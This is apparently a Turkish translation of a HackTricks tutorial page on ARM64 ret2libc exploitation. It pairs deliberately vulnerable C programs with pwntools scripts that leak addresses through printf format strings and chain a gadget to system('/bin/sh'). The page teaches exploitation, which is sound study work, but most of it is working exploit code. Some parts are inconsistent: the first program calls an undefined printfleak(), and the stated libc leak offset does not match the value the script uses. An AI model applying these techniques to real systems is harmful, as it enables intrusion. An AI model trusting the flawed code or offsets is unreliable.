Ret2lib + Printf leak - ARM64
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Ret2lib - NX bypass, ROP ile (ASLR yok)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
canary olmadan derle:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Offset bulma - x30 offset
pattern create 200 ile bir pattern oluşturarak, bunu kullanıp pattern search $x30 ile offset’i kontrol ettiğimizde offset’in 108 (0x6c) olduğunu görebiliriz.
.png)
Disassembled main fonksiyonuna bakınca doğrudan printf’e atlayacak instruction’a jump yapmak istediğimizi görebiliriz; bu instruction’ın binary’nin yüklendiği yerden offset’i 0x860:
.png)
system ve /bin/sh string’ini bulma
ASLR devre dışı bırakıldığı için adresler her zaman aynı olacak:
.png)
Gadgets bulma
x0 içinde /bin/sh string’inin adresi olmalı ve sonra system çağrılmalıdır.
rooper kullanılarak ilginç bir gadget bulundu:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
Bu gadget x0’ı $sp + 0x18’den yükleyecek ve sonra sp’den x29 ve x30 adreslerini yükleyip x30’a atlayacak. Böylece bu gadget ile birinci argümanı kontrol edebilir ve sonra system’e atlayabiliriz.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE bypass printf leaks ile stack’ten
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Derle canary olmadan:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE ve ASLR ama canary yok
- Tur 1:
- Leak of PIE from stack
- bof’u kullanarak main’e geri dön
- Tur 2:
- Leak of libc from the stack
- ROP: ret2system
Printf leaks
printf’i çağırmadan önce bir breakpoint ayarlayarak, stack’te binary’ye dönülecek adreslerin ve ayrıca libc adreslerinin olduğunu görebilirsiniz:
.png)
Farklı offsets’leri deneyerek, %21$p binary adresi leak edebilir (PIE bypass) ve %25$p libc adresi leak edebilir:
.png)
libc’den leak edilmiş adresi libc’nin base adresinden çıkardığınızda, offset olarak leaked address’in base’ten 0x49c40 olduğu görülebilir.
x30 offset
Önceki örneğe bakın çünkü bof aynı.
Gadget’ları Bulma
Önceki örnekte olduğu gibi, x0’da string /bin/sh’in adresi olmalı ve system çağrılmalı.
rooper kullanılarak başka bir ilginç gadget bulundu:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
Bu gadget x0’ı $sp + 0x78 adresinden yükleyecek ve sonra sp’den x29 ile x30 adreslerini yükleyip x30’a atlayacak. Yani bu gadget ile ilk argümanı kontrol edebilir ve ardından system’e atlayabiliriz.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


